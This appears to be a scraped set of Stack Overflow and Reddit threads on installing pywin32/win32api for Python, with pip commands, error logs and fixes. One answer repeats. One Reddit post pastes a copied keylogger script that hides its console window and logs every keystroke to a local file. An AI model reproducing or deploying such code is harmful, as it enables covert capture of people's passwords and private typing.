Information provided by @Gord
Since September 2019 pywin32 should be installed via PyPI which ensures that the latest version (currently version 304) is installed. This is done via the pip command
pip install pywin32
If you wish to get an older version the sourceforge link below would probably have the desired version, if not you can use the command, where xxx is the version you require, e.g. 300
pip install pywin32==xxx
This differs to the pip command in another comment and in an old edit of this answer in that pypiwin32 installs an outdated version (namely 223)
Browsing the docs I see no reason for these commands to not work for all python3.x versions, I am unsure on python2.7 and below so you would have to try them and if they do not work then the solutions below will work.
Probably now undesirable solutions but certainly still valid as of September 2019
There is no version of specific version ofwin32api. You have to get the pywin32module which currently cannot be installed via pip. It is only available from this link at the moment.
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20220/
The install does not take long and it pretty much all done for you. Just make sure to get the right version of it depending on your python version :)
Also it can be installed from this GitHub repository as provided in comments by @Heath
Answer from WhatsThePoint on Stack OverflowInformation provided by @Gord
Since September 2019 pywin32 should be installed via PyPI which ensures that the latest version (currently version 304) is installed. This is done via the pip command
pip install pywin32
If you wish to get an older version the sourceforge link below would probably have the desired version, if not you can use the command, where xxx is the version you require, e.g. 300
pip install pywin32==xxx
This differs to the pip command in another comment and in an old edit of this answer in that pypiwin32 installs an outdated version (namely 223)
Browsing the docs I see no reason for these commands to not work for all python3.x versions, I am unsure on python2.7 and below so you would have to try them and if they do not work then the solutions below will work.
Probably now undesirable solutions but certainly still valid as of September 2019
There is no version of specific version ofwin32api. You have to get the pywin32module which currently cannot be installed via pip. It is only available from this link at the moment.
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20220/
The install does not take long and it pretty much all done for you. Just make sure to get the right version of it depending on your python version :)
Also it can be installed from this GitHub repository as provided in comments by @Heath
Take a look at this answer: ImportError: no module named win32api
You can use
pip install pypiwin32
» pip install pywin32
winapi - Where to find the win32api module for Python? - Stack Overflow
Cannot successfully install WIN32API
Installing win32api in python
How to install win32api (Or any other module for that reason)
What is the VirtualBox Python win32api error?
Will VirtualBox work if I don't install Python?
Why is a Python implementation necessary for VirtualBox?
The answer may seem straightforward, but I've been banging my head against a wall for hours at this point.
What I've tried so far pip install pypiwin32:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32 Collecting pypiwin32 Using cached https://files.pythonhosted.org/packages/d0/1b/2f292bbd742e369a100c91faa0483172cd91a1a422a6692055ac920946c5/pypiwin32-223-py3- none-any.whl Collecting pywin32>=223 (from pypiwin32) Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32) (from versions: ) No matching distribution found for pywin32>=223 (from pypiwin32)
pip install pywin32:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pywin32 Collecting pywin32 Could not find a version that satisfies the requirement pywin32 (from versions: ) No matching distribution found for pywin32
Several specific versions like pip install pywin32==226:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pywin32==226 Collecting pywin32==226 Could not find a version that satisfies the requirement pywin32==226 (from versions: ) No matching distribution found for pywin32==226
and pip install pypiwin32==220:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32==220 Collecting pypiwin32==220 Could not find a version that satisfies the requirement pypiwin32==220 (from versions: 219, 223) No matching distribution found for pypiwin32==220
Even some shot-in-the-dark kind of attempts like pip install win32api:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install win32api Collecting win32api Could not find a version that satisfies the requirement win32api (from versions: ) No matching distribution found for win32api
and python -m pip install pypiwin32:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>python -m pip install pypiwin32 Collecting pypiwin32 Using cached https://files.pythonhosted.org/packages/d0/1b/2f292bbd742e369a100c91faa0483172cd91a1a422a6692055ac920946c5/pypiwin32-223-py3- none-any.whl Collecting pywin32>=223 (from pypiwin32) Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32) (from versions: ) No matching distribution found for pywin32>=223 (from pypiwin32)
I even tried many combinations of these previous commands using previous versions of pip and python to no avail. Do any of you know a possible solution?
Try using easy_install:
pip install setuptools
easy_install pypiwin32
Shouldn't it be python -m pip install pywin32 not pypiwin32?
Compare the wheels on both pages:
https://pypi.org/project/pypiwin32/#files
https://pypi.org/project/pywin32/#files
edit: I believe pypiwin32 was added a long time ago, so there could be a pip-friendly setup or something, but later abandoned. Some guides out there mention the wrong one. ¯\(ツ)/¯
So when you try to install from "pypiwin32", the pypiwin32 only goes up to version 223, so tries to use pywin32 to get the wheel for version 223, and there is nothing for python > 3.7 until a few versions later. So pypiwin32 is destined to fail here. The pywin32 package should just get the most recent version (227) which works on python 3.8
There is a a new option as well: get it via pip! There is a package pypiwin32 with wheels available, so you can just install with: pip install pypiwin32!
Edit: Per comment from @movermeyer, the main project now publishes wheels at pywin32, and so can be installed with pip install pywin32
'pywin32' is its canonical name.
http://sourceforge.net/projects/pywin32/
Start a command line with admin rights.
python -m pip install pywin32C:\Program Files\Stackless36\Scripts>python pywin32_postinstall.py -installThe pathC:\Program Files\Stackless36\should be replaced with the path at which your Python version is installed.Test (admin rights optional) using
python -c "import win32com"orpython speak.pywhere
speak.pyconsists of this text:import win32com.client speaker = win32com.client.Dispatch("SAPI.SpVoice") speaker.Speak("It works. Hoorah!")
Working fine on Python 3.6.4 Stackless 3.1b3 060516 (v3.6.4-slp:9557b2e530, Dec 21 2017, 15:23:10) [MSC v.1900 64 bit (AMD64)] on win32. Vanilla CPython hangs out here:
C:\Users\C\AppData\Local\Programs\Python\Python36-32>python.exe
Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 16:07:46) [MSC v.1900 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import win32com.client
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ModuleNotFoundError: No module named 'win32com'
>>> exit()
C:\Users\C\AppData\Local\Programs\Python\Python36-32>python.exe -m pip install pywin32
Collecting pywin32
Cache entry deserialization failed, entry ignored
Downloading https://files.pythonhosted.org/packages/d4/2d/b927e61c4a2b0aaaab72c8cb97cf748c319c399d804293164b0c43380d5f/pywin32-223-cp36-cp36m-win32.whl (8.3MB)
100% |████████████████████████████████| 8.3MB 50kB/s
Installing collected packages: pywin32
Successfully installed pywin32-223
You are using pip version 9.0.3, however version 10.0.1 is available.
You should consider upgrading via the 'python -m pip install --upgrade pip' command.
Check sys.path to make sure the directory where the module is installed is in there, otherwise you have to add it (google PYTHONPATH windows for some help with that.)
Hey fellas I need help installing win32api on python. Im messing around following tutorials since im super new to coding and wanted to learn how to make a keylogger. The current code I have is--
# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
if event.Ascii != 0 or 8:
# open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Shamelessly used from another site. But when I try to run it this error comes up.
line 3, in <module>
import win32api
ModuleNotFoundError: No module named 'win32api'
To start off, I am very new to Python and have never installed modules before because up until now I've just been using the standard libraries (math, time, etc.).
So I'm looking into controlling the mouse cursor with Python (for a bot in a game) and come across this thread on Stackoverflow. The top answer there tells me to get a module called pywin32 from here. So I download the latest version (build 218, according to the readme file) and I download the appropriate EXE. Here is my Python info: Python 3.4.3 (v3.4.3:9b73f1c3e601, Feb 24 2015, 22:43:06) [MSC v.1600 32 bit (Intel)] on win32, so I download this version: pywin32-218.win32-py3.4.exe. After running it, and it telling me that it has installed successfully I try to test it out by using one of the example in that previous Stackoverflow thread (Which I think just makes your cursor move in a circle...?):
import win32api
import time
import math
for i in range(500):
x = int(500+math.sin(math.pi*i/100)*500)
y = int(500+math.cos(i)*100)
win32api.SetCursorPos((x,y))
time.sleep(.01)However, when running this, I get this error:
Traceback (most recent call last):
File "C:\Users\Matthew\Documents\Programming\Python\mouse_control\win32api.py", line 1, in <module>
import win32api
File "C:\Users\Matthew\Documents\Programming\Python\mouse_control\win32api.py", line 8, in <module>
win32api.SetCursorPos((x,y))
AttributeError: 'module' object has no attribute 'SetCursorPos'
So with this, I assume it wasn't installed correctly (even though if I just run import win32api I get no error).
I've also tried to check if it is importing correctly using this:
import win32api print(dir(win32api)) help(win32api)
Which outputs to this:
['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'win32api']
Help on module win32api:
NAME
win32api
FILE
c:\users\matthew\documents\programming\python\mouse_control\win32api.pySo I found this thread on Stackoverflow, and in the second answer it says I can install through console, so I try this (in command prompt):
C:\Python34\Scripts>pip install pypiwin32 Requirement already satisfied (use --upgrade to upgrade): pypiwin32 in c:\python 34\lib\site-packages C:\Python34\Scripts>pip install pypiwin32 --upgrade Requirement already up-to-date: pypiwin32 in c:\python34\lib\site-packages
But as you can see it says that everyone is installed correctly.
So my question is, how do I get the win32api module to actually work, and import into my program successfully?
Thanks so much for any answers, sorry for the long(ish) post, just wanted to get all the information in there because I've been at this for about two hours, and no amount of searching on Reddit, Google, or Stackoverflow could help me, apparently. If you need more info I'd be happy to provide it!
EDIT: I'm running 64bit Windows 8.1, if it matters.
EDIT 2: Thanks to u/mm_ma_ma I found the solution, which was very simple and a blunder on my part. The file name was the same as win32api, changing it fixed the solution. Thanks so much, guys!
This is resolve my case as found on Where to find the win32api module for Python?
pip install pypiwin32
According to pywin32 github you must run
pip install pywin32
and after that, you must run
python Scripts/pywin32_postinstall.py -install
I know I'm reviving an old thread, but I just had this problem and this was the only way to solve it.